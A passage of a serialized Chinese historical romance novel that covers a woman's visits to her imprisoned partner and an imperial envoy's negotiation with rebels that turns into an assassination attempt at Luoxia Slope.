她最近时常这样坐着,想些有的没的,否则在这大牢里无所事事也没办法打发时间。直到听见开门的动静,楚棠才收回目光回头看了一眼,神情也是淡淡的。然后她就看到了冲进来的夏时,那双平静的眼眸霎时亮了起来,一瞬间像是有星辰坠落其中。 夏时冲过去就一把抱住了楚棠,将人从椅子上抱起来不算,还转了半圈。然后她就皱起了眉,嘀嘀咕咕抱怨:“这才几天,怎么就瘦了?” 楚棠平常总还有几分矜持,但今天她一点也不想推开夏时,哪怕明知牢房门口还有人守着。她伸手环住了夏时的脖颈,少见的学了对方,将脸颊在夏时的脖颈间蹭了蹭,显出几分依恋来:“我这是在坐牢,不是来玩的。而且有殿下照拂,其实也没吃什么苦。” 牢狱之苦楚棠是真真切切体验过的,当年她和族人一起被关在牢里,十几个人挤一间牢房,过得有多狼狈就不提了,连牢饭都是馊的。哪像现在,她在牢里还能喝到茶,吃上点心。 夏时没坐过牢也知道这不什么好体验,相较之下楚棠的处境已是不错了。可她还是心疼,抬手摸了摸楚棠披散的长发,忽的凑到她耳边低语了一句:“殿下让我和你说,必不让你久等。” 楚棠点点头没回话,她可比夏时敏锐多了——回京这么久,她两个好友都不曾露过面,如今她光明正大的进了大理寺牢房,两人还不来。要么这俩是假朋友,要么就是有什么要紧事绊住了两人脚步,让她们此时没有时间出现在她面前。 而在楚棠看来,这答案自然不会是前者。 ********************************************************** 七月初,江南。 赈灾和平叛虽然都是十万火急的事,但相较而言,调动兵马平叛的速度远比调动物资赈灾来得快。尤其钦差自京城领命,而后率领小队兵马南下,绝对要比押运大批物资来得。 六月底消息传回京城,七月初王申就带着两百多官兵抵达了江南。这点人手当然不够平叛,平叛的兵马按惯例就近抽调附近驻军——早在王申抵达之前,这些人就已经到了闹出叛乱的桐城,甚至没等这位钦差大臣抵达,桐城就已经被攻击过几轮了。 一般来说,刚兴起的叛乱聚合的都是乌合之众,对上装备精良的正规军无异于以卵击石。镇压叛乱也是这些地方驻军最容易获取军功的渠道之一。 可这回官兵们却碰上了硬茬,五千兵马围一个小城,偏偏死活打不下来。 此番领兵的将军姓齐,他满心以为这次的叛乱和上回一样,轻轻松松就能拿下,哪知连攻几日都毫无所得,甚至还折损了不少兵马。 这让他十分焦躁,遥望着战场来回踱步,时不时就要扭头骂属下两句:“一个个的都怎么回事,连些拿锄头的泥腿子都打不过,你们是没吃饭吗?!” 副将被骂得一脸悻悻:“将军,这不能怪兄弟们,实在是城墙上那些人太猛了。” 区区叛军,仓促行事,一般来说就算人做好了心理准备,物资上也准备不起——这些逆贼要是真有钱准备物资,也不是活不下去生乱了——往常都是官兵们欺负叛军手无寸铁,可这次却不同了,小小的桐城里也不知怎么积攒了许多石头木材,从城楼上往下一砸一个准。 这点齐将军也看到了,那从城楼上扔下来的青石板什么的,一看就是大户人家修院子用的。就是不知道哪户人家这么有钱,居然用得上这么多砖石。 这也是碰巧了,齐将军除了再骂几句,也只能期望城里的砖石快用完了。 副将听他骂骂咧咧个没完,小声提议:“将军,再这样打下去不行,兄弟们死伤太大了。不如还是围城吧,就这一座小城,里面能囤多少粮食?” 这建议本身不错,但齐将军却扭头就往他脑袋上拍了一巴掌:“围城?我们哪里有时间围城?朝廷就钦差就快到了,咱们又死伤了这么多人马,不将这些逆贼拿下,回头怎么交代?!”说完又压低声音:“当年的事,我经不起查,你们谁又经得起?” 副将讪讪,半晌才挤出一句:“可当年该死的人早就死了,如今这些反贼又知道个什么?” …… 数里之外,桐城之中,明家粮铺的伙计正领着人往自家粮仓去。 这不是巧了吗,明家粮铺最近正运来一批粮食,准备周转之后运去京城售卖的。可惜粮食刚入仓还没来得及运走,桐城就被叛军占领了,整个粮仓都落在了叛军手中。 更不巧的是,明家大小姐前些日子传话,说是过些日子要带夫人来桐城小住,顺便巡查生意。大小姐养尊处优,不仅要重修桐城里的宅子,还要在城外建个庄子跑马。大批的建材因此被购入,城中的宅子才翻修到一半呢,剩下的大批建材也在仓库中被叛军一并收缴了。 叛军们也没想到随便占个城还能有这收获,惊喜过后哪怕对上朝廷官兵也显得底气十足。不过连砸了几天砖头石板,再多的建材也扔得差不多了。 领头的吴老大在城楼上看了一会儿,又清点了一下剩下的砖头,终于从吃饱饭的惊喜中缓过了劲,生出几分忧虑来。 他挠了挠头,转身跑下城楼,一路跑去了明家那修到一半的宅子里,找到了正在院中悠闲纳凉的年轻人。一把掀开对方盖在脸上的蒲扇,便着急的说道:“军师,城楼上的砖头不够了,接下来咱们怎么办啊?”说着扫视四周一眼:“这宅子虽然有些旧了,但砖头瓦片扒下来一样砸人。要不我叫几个兄弟来,把这儿拆了吧?” 年轻人掀开眼皮看了看他,顺手把蒲扇抢了回来:“拆什么拆?拆了这儿我住哪儿?好了别担心,就守这两天了,最多等到后天,城外的那些官兵肯定就停手了。” 吴老大闻言顿时惊喜:“真的?” 年轻人不耐烦挥手:“真的真的,你不信就算了。” 吴老大见状连忙道:“信的信的,怎么会不信,军师你就没错过,我们都听你的。” 年轻人再次将蒲扇盖在了脸上,丢下句:“行了,这天气热死了。还有再说一遍,别叫我军师。” 95☆、第95章 ◎夏时差点把大牢混成了自己另一个家◎ 酷暑时节最是难熬,大多数人为了避暑都不爱出门,夏时除外。 她自得了长公主首肯之后,每天都会往大牢去一趟。今天给老婆带碗绿豆汤,明天给老婆买壶酸梅汤,后天还要想法子弄些冰酪给送牢房里去,生怕楚棠在牢里吃了苦。 知道这事的人不少,但大多选择了睁一只眼闭一只眼——长公主是她的靠山,目前又用不上她的武力,自然随她去了。大理寺的人也都知道些内情,要么是可怜楚棠遭遇,要么是想卖长公主一个面子,也并不会刻意为难。就连每次帮忙开门的牢头,都被夏时一块金子收买了。 一来二去,夏时差点把大牢混成了自己另一个家。 楚棠对此也是哭笑不得,但日日都能见到爱人,顺便听到外界消息,也让她安心不少。至少她每天打发时间的活动不再是望着小窗外的天空,而是翻看夏时给她带来的话本。 这日又是平平无奇的一天,夏时照常在晌午时就拎着个食盒进了大理寺的监牢。 牢头一见她来了,便熟稔的打了个招呼,然后拿着钥匙就跟去开门了——因为夏时每天在牢里待的时间很长的缘故,牢头已经不会守着牢门等她出来了,而是开门放人进去,然后把牢门一锁就能回去干自己的事。等到太阳落山再进去把人放出来,这家伙也只会嫌她来得早,而不会嫌她来迟了。 今天也是一样,牢头放夏时进门之后就将牢门重新锁了,正要转身离开,就听夏时忽然将她喊住了。这还是头一回,牢头便又转道回去,问道:“女郎还有什么事?” 夏时此刻已经在牢房里,便从那牢门上方的小口递出块银子:“劳烦大人,帮忙烧桶热水过来。” 牢头闻言也不问她要这么多热水做什么,伸手接过银子掂了掂,立刻笑着应道:“女郎稍等,我一会儿便让人将热水送来。” 等牢头走远了,夏时这才回头将带来的吃食放在了桌上:“昨天的冰酪你说吃着太凉,我今天换了家酸梅汤买,听说这家的酸梅汤放糖多,比较甜。” 楚棠也没坐在一旁看着她忙活,而是拿了帕子替她擦额头上的汗:“现在天气这么热,每天都是大太阳晒着,你何必跑这一趟?总归有殿下照拂,牢里也没有亏待我。” 夏时不爱听这话,端起红彤彤的酸梅汤递到她眼前,挑眉道:“那你说是酸梅汤好喝,还是茶水好喝?” 酸酸甜甜的酸梅汤自然比茶好喝,尤其大牢里能提供的也不会是什么好茶,至多解渴罢了。楚棠因此无言以对,干脆就着夏时的动作喝了一口:“是你的酸梅汤好喝,行了吧。” 夏时立刻就满意了,笑得弯起了眉眼,然后趁楚棠不注意飞快凑上前在她唇上亲了一口。末了装模作样的咂咂嘴,笑道:“嗯,这家的酸梅汤是比上次那家更甜。” 楚棠已经懒得计较她这些小心思了,再则她心里对这些亲昵也是受用的。于是干脆转开了话题,问道:“你刚叫牢头送水做什么?” 夏时闻言便伸手撩起了她一缕发丝,回道:“要点热水,给你沐发。” 楚棠下狱已经好些天了,虽然在长公主的照拂下吃喝不愁,但有的事就真没那么方便了。比如沐浴,牢头每天往楚棠牢房里送盆清水问题不大,可真要弄个浴桶来大张旗鼓的折腾,声势就太大了些,传出去也不好。因此在这盛夏时候,楚棠每天也只能简单的擦洗一番,洗头是不必想了。 这么多天下来,楚棠自己也不舒服,因此听了夏时的话她便也不拒绝。更何况她头发又长又多,一个人洗也不是很方便,今日有夏时来帮忙正好。 两人就一边喝着酸梅汤,一边闲聊些有的没的,顺便等着牢头将热水送来。 楚棠端着酸梅汤抿了一口,感觉凉丝丝的,往夏时带来的壶里一看,才发现居然加了冰。 夏时看见了她的动作,立刻露出个求夸的表情,笑着说道:“上回我图方便,买酸梅汤那家铺子太小,舍不得放糖也没有冰。这回我特意绕路去了大点的铺子买的,这一壶酸梅汤不加冰二十文,加冰三十文。你要是觉得加了冰太凉,也可以放一放再喝。” 牢房里确实感觉不到多少暑意,但夏天喝凉的还是更加舒爽的。楚棠也没有拒绝冰饮,又端着碗抿了一口,这才问道:“最近外面有什么消息吗?” 这话她几乎每天都会问,面上虽没露出多少急迫,但显然也十分关心事态进展。 可惜夏时并不是个敏锐的人,每天能带给楚棠的消息都是零零碎碎的,而且大部分无关紧要。不过今天她倒给楚棠带来个稍显不同的消息:“好像也没什么。不过昨天我回去时半路遇到了萧先生,她和我聊了几句,说是朝廷派去江南的钦差这两天应该就到了。” 楚棠听得眉心一跳,立刻意识到这话是说给自己听的——江南生乱的消息她早知道了,选择在这个时候暴露翻案,也是她们精挑细选后的时机。 还有些话萧晏书和长公主虽然没有明说,但楚棠也猜得到。比如那个前往江南处理此事的人,要么是长公主一系的官员,要么就是真正的能臣干吏。这两种人都不会粉饰太平,江南再次兴起的叛乱,一定会经这钦差的手将事情闹大,乃至于老皇帝不能继续视而不见。 当然,这钦差既然接到了差事,就不会按照正常速度慢慢赶往江南。他一定是快马加鞭赶路的,这时候恐怕早就到了江南不止,该送到他手上的东西,说不定已经送到了。 夏时就发现楚棠听她说完这话后,眼睛亮了起来,又问她:“你知道钦差是谁吗?” 这可就问道夏时的见识盲区了,她摇摇头:“不知道。要不我去打听打听,明天告诉你?” 楚棠刚想说话,就听到厚重的铁门被人从外面敲响了,然后是有人用钥匙开门的声音:“楚姑娘,热水送来了,你们接一下。” 话音落下,牢门也打开了。牢头收了钱做事也很贴心,约莫是猜到这热水的用处,她不仅提了一桶热水过来,还另外拿了一个木盆两张帕子,基本够用了。 夏时上前接了过来,之前的话题也就此中断,转而招呼楚棠道:“阿棠快来,我帮你沐发。” ********************************************************* 夏时在大牢里帮着楚棠洗头的时候,江南这边却是另一番光景。 楚棠猜得不错,王申一行快马加鞭,足足比预计早了七八日就抵达了江南,正正好赶在桐城砖头用完之前。而钦差抵达江南后的第一件事,已不是问责地方官没有管理好治下百姓,而是先问责了齐将军擅自用兵一事——天知道王申好不容易赶到桐城,一眼看到那“攻城略地”的大场面时,心头的震撼。 朝廷兵马镇压叛军自然是没错的,可江南这次闹出的反叛却有些特殊。因为这一而再的“无理由”造反,谁都会担心还有下一次,那么尽早弄清缘由解决问题才是关键,而不是简单的镇压。 相反一来就使用强硬手段,只会逼地那些叛军走投无路,最终选择同归于尽。 齐将军心知肚明,但被问责后面上还是露出了几分不忿,一副无脑莽夫的模样:“大人心善,但反贼哪是那么容易就能劝降的?时间耽搁久了,他们还会裹挟更多人进去。我身为朝廷将领,养兵千日用兵一时,我自然该替朝廷除贼,哪里有错了?!” 因为薛祭酒闹的那一出,王申早在来江南之前,心里就对这场叛乱的发生有了底。因此他对齐将军的话不置可否,只冷冷一笑,反问道:“那你除贼除得如何了?我怎么没看到匪首何在?” 齐将军顿时哑了,心中也不免生恼——天知道桐城里那帮泥腿子怎么回事,居然真靠着砖头石板将城守住了!还有他手下那帮兵,平时操练懒散就算了,这打起仗来还这么怕死,真是白耗那么多米粮了!还有还有,这姓王的钦差也是,大热天的赶路不辛苦吗,他居然还能快马加鞭提前到了! 心中腹诽不止,可现在事情已经发展至此了,齐将军也只能抹把脸破罐子破摔:“那大人以为接下来该如何?” 王申心中早有想法,抬起眼皮吐出两个字来:“招安。” 齐将军闻言险些跳起来:“大人不可!” 王申似笑非笑:“有何不可?” 齐将军立刻给出了一二三条反对的理由:“大人久居京城可能不知,这些刁民向来不知好歹,你若是轻拿轻放,他就会以为你软弱可欺。而且去岁才闹过一场,今年他们就敢再反,这些刁民胆子已经大到没边了。大人你这次若是招安许了条件,你信不信,明年还得再闹一场。” 诚然,这话不是全无道理的,只是不适合放在当下。 王申也不是轻易就能被说服的人,他面上神色一敛,立刻显出几分威严来:“我不信。”堵了齐将军一句之后,他又道:“再则本官是钦差,此事理应由本官做主,将军还是不要越俎代庖的好。” 无论官职还是权力,齐将军确实都比不过,他气得脸色铁青,一时间也无法反驳。 而王申更不耽搁,立刻冲手下士兵下令道:“派人去桐城传信,就说本官要见他们头领。” …… 一个时辰后,吴老大手里拿着封绑在箭杆上的信,再次风风火火跑进了明宅:“军师,军师,你说的停战,是不是就是这个?我不识字啊,你快来看看!” 少倾,一把蒲扇砸在了吴老大脸上,年轻人不满的声音再次传来:“都说了别叫我军师。” 吴老大摸摸并没有被砸痛的脸,露出一脸憨笑:“好的军师,知道了军师。” 年轻人翻了个白眼,懒得再和他废话,拆开信件一目十行扫完,这才说道:“是钦差来了,想约你见上一面。” 吴老大不笑了,黝黑的脸庞严肃下来,还有点唬人:“当官的没一个好东西,他是不是想把我骗出去杀?” 年轻人抖抖手里的信纸,白纸黑字分外分明:“信里说是朝廷想招安。” 吴老大一脸的不信:“都是骗人的,要招安去年就招了,再说真要招安干什么还要打我们?” 年轻人也没解释,只道:“这次你得去,约个地方,落霞坡怎么样?” “落霞坡”三个字一出,吴老大脸色陡然一变,看向年轻人的目光第一次变得凶狠起来。 96☆、第96章 ◎人都有求生之心,自然不甘坐以待毙◎ “落霞坡?”王申拿着刚收到的回信,喃喃自语,若有所思。 亲随闻言以为他是不知道落霞坡在哪儿,好在自己已经打听过了,于是便指着东面解释道:“大人,落霞坡不远,就在桐城以东二十来里,快马过去用不了多少时候。” 王申听罢看他一眼,怎么想都觉得这约的地方有古怪。毕竟现在双方算是两军对垒,叛军头领胆子如果够大的话,应该约在阵前相见。而如果他胆子不够大的话,让自己进城一见才是正理。反正怎么选,都不该选在这样一个两边不靠,奇奇怪怪的地方。 此外还有这封回信,信上的一手好字可不是吃不起饭的百姓能练出来的。 思忖片刻,王申收起书信,又对亲随吩咐道:“你去仔细打听打听,这落霞坡有什么特别的?” …… “将军,将军不好了!”副将一脸天塌了的样子,闯进了齐将军的营帐。 齐将军被王申怼回来心气正不顺呢,见副将这般大惊小怪的模样,立刻皱起眉斥道:“什么不好了,本将军好得很。还有你这慌慌张张什么意思,城里的叛军打出来了不成,让你这般大惊小怪。” 副将跟随齐将军多年,也知道他脾气不好,被骂了也顾不上在意,他压低了声音急匆匆说到:“将军,落霞坡,落霞坡啊……” 齐将军没反应过来:“什么落霞坡?” 军中的营帐实在不隔音,副将也怕隔墙有耳,干脆伸手在脖子上比划了个割脖子的动作。齐将军这回反应过来了,脸色却称不上好看:“好端端的,你说什么落霞坡?晦气!” 副将苦了脸,再次压低声音说道:“不是我想提,是那姓王的,他正让人打听落霞坡呢。” 齐将军一听这话,后背不由有点发凉,也再摆不出那副不以为意的模样了:“怎么回事?谁跟他说的落霞坡,怎么好端端的提起了这个?” 问完他才后知后觉想起,原来落霞坡距离桐城这样近。 副将倒也打听到些消息,便说道:“不是手下人提起的,是桐城里那伙叛军。钦差不是让人给城里送了信,想见他们头领吗?后来城中射出了回信,钦差收到之后就开始让人打听落霞坡了。” 齐将军伸手摸摸后脖颈,又问:“那他打听出些什么,没人说些不该说的话吧?” 副将便摇头:“那没有,谁都不是傻子,哪能别人问什么就说什么啊。更何况清楚所有事的也不多,有些桐城征召的士卒,也只知道落霞坡风景独特,落霞极美。” 说到最后这一句,两人神色都有些说不出的微妙。 齐将军闻言点头:“那就好,让知情的人都别瞎说。” 副将听了先是点头,然后又苦了脸:“可是将军,咱们的人不说有什么用?落霞坡距离桐城二十来里呢,现在城还被咱们围了,城里的叛军偏约在了这地方,恐怕是早有预谋。”说完再次压低了声音:“将军,咱们就这样干等着什么都不做吗?这和等死有什么区别?” 王朝中期,军队早不如立朝时彪悍。将军们无心征战一心搞钱,吃空饷、养私兵、倒卖军械,这些都是十分常见的问题。可冲着一群手无寸铁的灾民挥下屠刀这种事,多少还是有些破底线的。 齐将军和副将也不是什么天生坏种,对于当年的事自然没忘。不过当年的决定不是他俩做的,他们其实也不过是听令行事罢了。可时隔数载,当初下令的人已经没了,他们背后的靠山也没了,这时候再要翻旧账,罪责可就不是他们能扛得动的了。 人都有求生之心,两人自然不甘坐以待毙。 齐将军眼神几番变化,最后却看像副将:“你想怎么做?” 副将闻言顿时在心里咒骂了句,可这话却不能不接:“反正钦差也不过带了百多人来,城里的叛军也不可能倾巢出动跑去落霞坡,不如咱们趁这个机会……”说着又做了个抹脖子的动作。 钦差嘛,又是来平叛的文臣,死于叛军之手是多正常的事?正好还不用他们特意布置,城里的叛军头子也约好了要出来。到时候将这两人一起解决了,城中群龙无首想必也守不住。最后上报朝廷,就算不能领功,换一个功过相抵应该问题不大。 两人对视一眼,心中便自定好了主意,齐将军最后吩咐一句:“带些信得过的人去。” *********************************************************** 叛军一反常态定了落霞坡做会面地点,王申令人打听了半晌,也没听出这地方有什么不对。最后也只能等对方来解惑了,至于什么风景好所以才约的这里,王申自然是不信的。 双方都算干脆,既然约定了地点会面,时间也不必纠结,干脆就定在了第二天。 这天官兵们没再试图攻城,城里城外都是一片安静。待一夜过去,休息充足,吴老大最后去明宅见了年轻的军师一面之后,终于还是带着几分迟疑出了城——自然开了城门大张旗鼓的走出去,而是选了处僻静无人的角落,让人用吊篮将他和几个同行之人吊下了城墙。 只是吴老大不知道的是,就在他离开桐城之后不久,一直懒懒散散躺在明宅里的年轻人也动了。她振臂一呼便召集出一支十来人的队伍,跟在吴老大后面偷偷出了城。 落霞坡名副其实,最美的时候就是晚霞将落之时。 虽然王申很清楚对方将会面地点约在这里的原因,不会是来欣赏晚霞的,但为了配合此地的特点,还是将会面时间约在了傍晚。 身在城外,王申要去落霞坡就比吴老大他们方便得多,领了十来号人,便骑着马溜溜达达过去了。到地方时时辰还早,王申还选了个最适合欣赏落霞美景的地点,再铺了布摆上茶,不似来与敌人谈判的钦差,倒更想是出来郊游踏青的文人。 吴老大一行倒是踩着点来的,远远一看这大官的做派,吴老大本就黝黑的脸顿时更黑了。只一点好处,对方多少有些诚意,他们观察半晌也没发现对方带了大队兵马过来。 既然如此,吴老大想想军师的话,还是硬着头皮上了。 因着近来战事的原因,桐城附近都没什么人走动,就算是附近村落里的村民这时候也多选择待在家中。是以这突然出现的几个汉子就显得尤为特殊,王申只看了一眼,不用猜就知道对方必定是自己要等的人。只是目光再扫一遍,却发现来的几个人里不像是有人识文断字,甚至能写一手好字的。 压下心中微妙,王申起身相迎,落落大方的做派倒是一点没有看不起对方的样子。 吴老大脸色稍缓了些,刚走近就见对面的大官冲他一拱手,自报家门道:“鄙人王申,忝居户部侍郎,也是此番平乱的钦差。” 这一番介绍,吴老大也就听出对方名字叫王申,至于户部侍郎是什么样的官职,他不知道。而钦差什么的,他也不指望对方能像戏文里的那些青天大老爷一样,真能替他们伸冤。 吴老大绷着张脸,也没回礼:“我姓吴,家中排行老大,叫我吴大就是了。” 这是连个正经的大名都没有。再看吴老大那张看不出年纪的黝黑脸庞,以及那干瘦干瘦的身体,就知道他出身必定算不少好,会在连翻变故下活不下去造反,也并不让人意外。 王申对此没说什么,而是伸手做了个请的手势:“我观阁下不是拖沓之人,既然答应了前来会面,咱们不妨坐下好好谈谈。” 吴老大觉得对方穷讲究,也懒得去他铺的布上坐,免得坐脏了这当官的又不乐意。他干脆将腿一盘,原地就坐下了,对于直照在他脸上的阳光也毫不在意——反正都是晚霞了,也算不上多热,隔着这些距离说话也让他更自在些。 王申对此没说什么,干脆就在对方对面席地而坐,灿烂的晚霞正好映入他眼中。 两人相对而坐,原本一肚子不满的吴老大和王申对视片刻,却始终紧抿着嘴一言不发。那直愣愣的模样像是能在这里坐到天黑,再坐上一夜。 王申等了片刻,见对方总不开口,便主动说道:“本官供职户部,专管天下户籍、粮税。江南之地连续两年发生反叛,想必不会是无事生非,必*定是有什么原因,让你们觉得活不下去了。那么现在你能和本官说说,江南到底发生了什么,让你们不得不造反吗?” 他言辞算是恳切,心平气和的样子也让人生不出恶感来,可吴老大听了他的问话却没有回应。 王申又等了等,见对方还是干坐着,不由生出些奇怪来,这可不是谈判的态度。索性他还算耐心,便又问道:“你不愿意说这个,那说说你们有什么要求也可,不过分的话本官都能做主。” 吴老大却依旧没回答,他不仅没回话,还相当没礼貌的扭过头不看王申,而是看向了天边似血一般红艳的晚霞。 王申顺着他的目光也扭头看了片刻。美景倒确实是美景,只是这落霞坡的美景随时都能看,眼下的叛乱和叛军们的肚子,才该是两人此刻关注和谈判的重点。 不过王申也是个细心的人,他看出吴老大不是不想谈,而像是在等待些什么。他看出来了,也干脆问了出来:“你迟迟不回我的话,是在等些什么?” 吴老大终于第二次开了口:“等天黑,等天黑之后再谈。” 王申不知他葫芦里卖的什么药,但左右用不到一个时辰,他也就耐着性子等了下去。 场面一时安静下来,两个怎么看都不该坐在一起的人,相对而坐等待着天黑到来。而随从们听到这话,都已经开始准备起火把了。 也就在王申的随从分散注意的当口,有人忽然留意到落霞坡顶上的草丛有一阵不同寻常的晃动。若是寻常,他们便只当是风吹草动了,可今日不同,今日他们家大人可是来会见叛军头领的! 当下几个随从的神经就紧绷了起来,一个个将手搭在了腰间的兵器上,警惕的望向对面之人。 跟随吴老大前来会面的几人反应也不慢,一见对方动作,立刻伸手从腰后抽出一把把朴刀,大有一言不合就开打的架势。 气氛一触即发,但双方领头的却都很沉得住气,哪怕看到手下亮刀了,两人也没有贸然下令。这倒让王申高看了吴老大一眼,只他却不知道,这些都是有人早就交代过的。 吴老大也不知军师为什么叫他这时沉住气,不要先动手,但对方既然都料到了如今场面,他便只乖乖听话就好——反正军师从来都没错过。再说就算这次错了,桐城的叛军没了他,也有的是人能替他做主。 就这样,双方僵持起来,也不知过去多久,平衡的局面终于被一支破空而来的箭矢打破了。 那箭是冲着王申去的,直奔咽喉要害,显然是没打算给人留活路。 对面的吴老大完全没反应过来,倒是看上去文文弱弱的王申忽然一个侧扑,躲过了这一箭。但紧接着便是一阵箭雨飞射而来,大有将两人一起射成刺猬的架势。 这次吴老大反应过来了,他也没管王申,抱头就冲着前方大树后躲去——娘诶,这太可怕了,差点就成了刺猬。早知道一开始就听这当官的,直接来这树下坐着喝茶了。他不图这口茶,也不图树荫乘凉,主要是能躲得快。 两轮箭雨过后,能躲的都躲树后面了,再想用弓箭射杀显然难以成事,一道道人影终于从坡顶上冲了下来。 喊杀声阵阵,刚才还一片平和的落霞坡立刻就成了战场,半点不像寻常刺杀。只是吴老大和王申隔着树对视一眼,都从对方眼中看到了惊疑,显然这一支伏兵并不是对方所设。 吴老大有点懵,王申却是若有所思——所谓的等到天黑难道是个托词,对方真正想让他等的其实是这个? 没错,王申心里已经认定了,眼前的吴老大不过是个幌子,他背后肯定还有高人指点。就是这高人引出了祸害,接下来可怎么收场啊,就他们带的这小猫三两只,明显打不过。 97☆、第97章 ◎像是一个个在落霞坡徘徊不去的幽灵◎ 突然冒出来的刺客都是黑衣蒙面的打扮,但要说他们是为了隐藏身份,倒也不像。毕竟一群人喊打喊杀的冲出来,无论是手里拿的刀枪,还是之前射出来的箭矢,明显都是朝廷制式的武器。像吴老大这样的庄稼汉或许认不出来,但王申又怎么会看不出? 可以说这场面既出人意料,又不是那么的出人意料——王申出行前就让手下盯紧了那群官兵,可惜他带来的人似乎不够,又或者对方早有准备,竟是没将人盯住。 现在可就麻烦了,双方为表诚意都没有带太多人,一二十个人凑在一起完全不是那一群刺客的对手。 王申不由有些着急,倒是吴老大这会儿躲在树后面,又恢复了一派镇定自若的模样——虽然军师没有说会遇到刺杀,但军师那么厉害,什么都算到了,这事不可能算不到。只要他们能撑上一会儿,肯定会有人前来救援的! 不仅吴老大有这样的想法,和他同来的叛军们也都是这样想的。因此面对几倍于己的敌人,他们也没有露出绝望的神色,反而一个个握紧了朴刀跃跃欲试。 王申注意到了这一点,虽不知对方有何后手,但紧绷的心弦还是不免松了松。 刺客从坡顶上冲杀下来,双方相距不过百步,几息之间便已是近到眼前了。一个亲随赶忙推了王申一把,喊道:“大人,你先走,我们帮你断后。” 说完这话,亲随便挥刀冲了出去。 王申猝不及防被推得一个踉跄,他和薛祭酒不一样,可没有一手好剑术。面对这样的战局他明显帮不上忙,就算想逃,估计也跑不到马跟前。 果不其然,不等他逃跑,几个黑衣人便绕过了他的随从,举着刀向他追杀而来。 王申很快就被追上了,脑袋里顿时一片空白,不管那些叛军有没有后手,反正他是等不到了……就在这时,斜地里伸出一只手来,拽住他胳膊用力一拉。 刚还风度翩翩的钦差大人立刻被拉得跌倒在地,摔得一身狼狈。不过此刻他也顾不得形象了,就听耳边传来一道熟悉的声音:“嘿,你这大官,怎么还站着不动让人砍呢?逃命都不会吗?!” 及时伸手拉了他一把的是吴老大,虽然庄稼汉也没正经学过武,但好歹有一把子力气。此刻就见他一手拽倒了王申,另一只手抓着朴刀挡住了砍向王申的两把长刀,大抵是一只手力气不够,他很快就放开了王申,转而双手握刀迎敌。 但不管怎么说,在这千钧一发之际,吴老大确实算是救了王申一命。 不过王申的心情并没有因此放松下来,因为就算有吴老大帮忙,他们也很难脱身。心里正自着急,忽然就听有人喊道:“匪首已死,尔等还不束手就擒!” 这话一出,立刻有人跟着大喊重复,一连喊了三遍。 正跟吴老大较劲的两个黑衣人一开始显然没反应过来,毕竟从前喊这话的都是他们自己。直到吴老大鼓起一股劲将两人的长刀推开,冲他们喊道:“还打什么?你们老大都死了,杀了钦差是什么罪过你们知道吗,要诛九族的!” 这话吴老大其实也就随便喊喊,他既不知道这些人什么身份,能不能用钦差的身份唬住,也不知道杀了钦差是不是真要诛九族。可对面的人显然信了。 两个黑衣人扭头对视一眼,看到同伴身上的黑衣之后,恍惚间明白过来这次自己才是那个“匪”,于是瞬间有些慌神。他们下意识回头往落霞坡顶看去,就见原本应该站在那里指挥众人作战的人,此刻已经不在了。 头领的缺失就好像作战时被砍断了军旗,这些本质士卒出身的刺客立时不知所措起来。有的人呆愣在原地,有的人扭头看向同伴,还有的人见机不对立刻转身就跑。 这些人不是被洗脑忠诚的死士,而是一群在战场上见机不对就会跑的士兵。现在领头的人不见了,身边又已经有人选择了逃跑,所谓的士气自然也就一泻千里。很快,转身就逃的人越来越多,这回反倒是王申的亲随们想着要留几个人下来查问了。 王申一眼就看见自己的亲随已经各个负伤,再见他们这般举动,担心他们留不下人反而丢了命。于是立刻便下令道:“都住手,放他们离开。” 此言一出,亲随们停了手,黑衣人们却是跑得更快了。 *********************************************************** 王申终于见到了吴老大背后的高人,只是他没想到对方如此年轻,且有一点点眼熟? 年轻人一身灰褐短打,身材单薄得仿佛是个文弱书生,手中却提着一把弓——也就这把弓,在不久之前射出了一箭,正正好一箭穿喉将那坡顶的匪首给射杀了。 王申的目光从年轻人的脸上转到弓上,又从弓上重新转回对方的脸。也不知究竟在哪里见过对方,总之感觉很眼熟,偏有一时半会儿想不起来。 吴老大见气氛怪异,三两下将手臂上的伤裹了裹,然后便主动开口说道:“怎么样,生得俊吧?这可是我们的军师,从占领桐城到之后的守城,我们可都是听他的。” 王申闻言终于收回了目光,也不在乎对方年纪,拱了拱手道:“鄙人王申,不知阁下如何称呼?” 年轻人眨了眨眼,给出个模棱两可的答案:“我在家中行七,你叫我七郎就是。” 王申见她不愿多说,倒也没有追问,正要再说些什么,就听远处传来一道喊声:“找到了,还在这里,没被人抬走。” 这说的是那被射杀的匪首。因为对方被射中后被力道带得向后倒,从落霞坡上直接滚落了下去。其他尸体无关紧要,这人却很要紧,是以不等王申吩咐,年轻人便让人去落霞坡另一面寻找了。 如今看来情况不错,那群黑衣人刚才只顾着逃跑,根本没来得及带走这人尸体。 果然,王申一听这话也顾不上细想眼前的年轻人了,撩起袍脚便向着山坡上跑去。此刻落霞已尽,暮色四合,天色已经渐渐暗沉下来,等王申爬上落霞坡顶,一时也望不到另一边坡下情形。不过他也等不及让人将尸体抬上来了,只在坡顶略顿了顿,便又跑了下去。 所幸等王申跑到尸体跟前,天色也还未黑尽,他看一眼那黑衣蒙面的尸体,忽的伸手过去一把扯下了对方蒙面的黑巾。 霎时间,一张犹带着诧异和恐惧的苍白面孔便映入了眼帘。 王申攥着黑巾沉默下来,也不知年轻人何时来到身边的,就听对方像是不经意般问道:“怎么,大人认识这人?” 认识,怎么会不认识,就在今早他还在齐将军身边看到过这张面孔呢! 王申一把将黑巾重新扔回尸体脸上,像是有些气愤,又像是猜测得到证实的尘埃落定。但这些他都不会和对方说,王申重新扭头看向年轻人:“这人什么身份,军师难道不知?” 年轻人眉峰轻颤了下,显然不太想认军师这个身份,尤其现在连钦差都这样称呼她了。不过现在计较这个没什么意义,她便干脆点头承认了:“是梧州驻军将军的人,没错吧?” 梧州驻军是距离这里最近的一支军队,也就是齐将军率领的那队官兵。 王申一听对方这样说,总有种一切都在对方算计之下的感觉。他微眯了眯眼,又抬头看向逐渐黑透的天空,问道:“军师约本官来此会面,目的就是为了钓这些人出手?” 他这话用的是问句,但语气却莫名笃定似得。 哪知年轻人闻言却摇了摇头:“只是其中一个原因罢了,我是真想让大人看看落霞坡的夜晚。” 落霞坡的夜晚怎么了?不是说这里的风景只有傍晚才最好吗?再说天都黑了,四野里黑漆漆一片,还能看到什么?一起赏月吗,他们可没这交情。 王申心头无数疑问,但年轻人没有给他解释,已经自顾自往坡顶上走去。 